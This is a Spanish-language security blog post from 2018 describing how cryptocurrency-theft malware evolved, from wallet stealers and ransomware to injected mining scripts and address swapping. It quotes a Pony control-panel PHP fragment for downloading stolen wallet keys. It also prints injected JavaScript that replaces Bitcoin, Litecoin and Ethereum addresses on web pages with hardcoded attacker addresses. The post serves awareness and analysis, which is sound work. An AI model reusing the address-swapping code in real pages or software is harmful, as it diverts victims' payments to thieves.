Malware para criptomonedas: una mezcla explosiva

Publicado por Oscar Juárez - 05/04/2018

Desde la aparición de las criptomonedas, allá por finales del 2008 y principios del 2009, han ido apareciendo poco a poco nuevos malware que intentan robar los wallet o criptomonedas de los usuarios. Estos malware, al igual que todos, han ido evolucionando e implementando nuevos métodos para conseguir su objetivo, tal y como explicamos a continuación.

Los primeros robos de criptomonedas se realizaron a través de Stealer típicos como pueden ser la familia Pony, que había añadido un módulo nuevo capaz de extraer las claves privadas de las carteras que se encontrasen en el dispositivo de la víctima. A continuación, se muestra un fragmento de código del panel de control que permite al atacante descargarse todas las claves privadas extraídas en fichero zip.

if ($admin_routine == 'download_wallet' && $admin_action == 'other'){ 
    set_common_file_download_header('wallets.zip', 'application/zip'); 
    $pony_db -> get_wallet_zip(); 
    die();
} 


Tras un tiempo, aparecieron nuevos métodos más efectivos. Como el lector ya sabe, estamos hablando del bien conocido por todos como
Ransomware. Como recordatorio, el objetivo principal de este malware es cifrar todos los ficheros de la máquina infectada y solicitar un rescate a cambio, normalmente en Bitcoin.

criptomonedas-01
Este tipo de malware ha tenido, y tiene, mucho éxito por lo que han aparecido infinidad de variantes. Pero como todo, cuando aparece una tipología de malware nuevo, también aparecen tecnologías para mitigarlo, por lo que los cibercriminales, sin dejar de lado el Ransomware han evolucionado creando otros tipos.

Tras el Ransomware, empezaron a aparecer muestras de malware cuya finalidad era introducir un Javascript de minado en todas las páginas que navegamos, de manera que el usuario infectado esté minando de manera constante mientras está navegando.

criptomonedas-03

Esta inyección, en primer lugar, se empezó a realizar mediante la infección del dispositivo, pero más tarde aparecieron estas inyecciones a través de add-ons del navegador, incluso las propias páginas empezaron a introducirlos con el fin de conseguir ganancias alternativas a la clásica publicidad que muestran.

Sin embargo, al igual que en el caso del Ransomware, aparecieron medidas para evitar que se produjese el minado, y muchos Adblocker populares implementaron el bloqueo de las páginas desde donde se cargaba el Javascript.

Los criminales tenían que reinventarse una vez más, y empezaron a inyectar código Javascript en los navegadores de las máquinas infectadas, de manera que cuando el usuario navegase a alguna página y contuviese alguna dirección de wallet de criptomoneda, éstos sustituirían dicha dirección por una bajo su control.

A continuación, se muestra un fragmento de código Javascript, donde se intentan cambiar las direcciones de las criptomonedas Litecoin, Ethereum y Bitcoin.

function init() {
    var a = document.documentElement.innerHTML;
    str = a.replace(/<.*?>/g, " ") .replace(/ +/g, " ");
    str = str.split(" ") .filter(function(a) {
    return (a = a.match(/(\w+)/)) && 24 < a[0].length
    })
    .join(" ");
    var b = str.split(" ");

    for (a = 0; a < b.length; a++) 1 == checkBtc(b[a]) ? "L" == b[a].substring(0, 1) ? (document.body.innerHTML = document.body.innerHTML.replace(b[a], "LKyKqLVy6KgyCYekftCHFTBLYiZyUvxtsG"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "LKyKqLVy6KgyCYekftCHFTBLYiZyUvxtsG")) : (document.body.innerHTML = document.body.innerHTML.replace(b[a], "17bH1SYLoBdGsBaDedPR2EE3JUt8oRS7qd"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "17bH1SYLoBdGsBaDedPR2EE3JUt8oRS7qd")) : 1 == checkEth(b[a]) && (document.body.innerHTML = document.body.innerHTML.replace(b[a], "0xa05AeF9CA4828A71f84d284F7A25A7Aa6D2fe114"), document.body.innerHTML = document.body.innerHTML.replace(b[a], "0xa05AeF9CA4828A71f84d284F7A25A7Aa6D2fe114"))

function checkEth(a) {
      return !!/^(0x)?[0-9a-f]{40}$/i.test(a) && (/^(0x)?[0-9a-f]{40}$/.test(a) || /^(0x)?[0-9A-F]{40}$/.test(a), !0)
}
function checkBtc(a) {
      return !(26 > a.length || 35 < a.length) && !!/^[A-Z0-9]+$/i.test(a)

init();

 
Otra variante que ha aparecido recientemente es similar al cambio de direcciones que se produce en el navegador, pero en esta ocasión, a través del portapapeles. De esta manera cuando el usuario copie su dirección de wallet para realizar alguna acción, el malware cambiará dicha dirección por una propia. Este es el caso del malware Evrial descubierto recientemente, entre otros.

criptomonedas-02Además de todos los tipos de malware para criptomonedas y métodos varios para robar a los usuarios, siguen utilizando técnicas de fraude online tan conocidas como el Phishing ligado a fuertes campañas de Spam, donde mediante técnicas de ingeniería social, intentan engañar al usuario para que introduzcan sus credenciales de distintos exchanges y substraerles las criptomonedas que posean.

Está claro que esto es solo el principio y que aparecerán nuevas mitigaciones para evitar que el usuario sufra el robo de sus criptomonedas, pero ¿qué otras técnicas o métodos de robo de criptomonedas nos depara el futuro?

Deep Learning for Online Fraud Prevention

Topics: fraude online, robo de criptomonedas, malware para criptomonedas


Últimos artículos

CyberProfiling. Más allá de la comparación de huellas digitales.

read more

Malware para criptomonedas: una mezcla explosiva

read more

Los top 3 países de cibercriminales especializados en fraude online

read more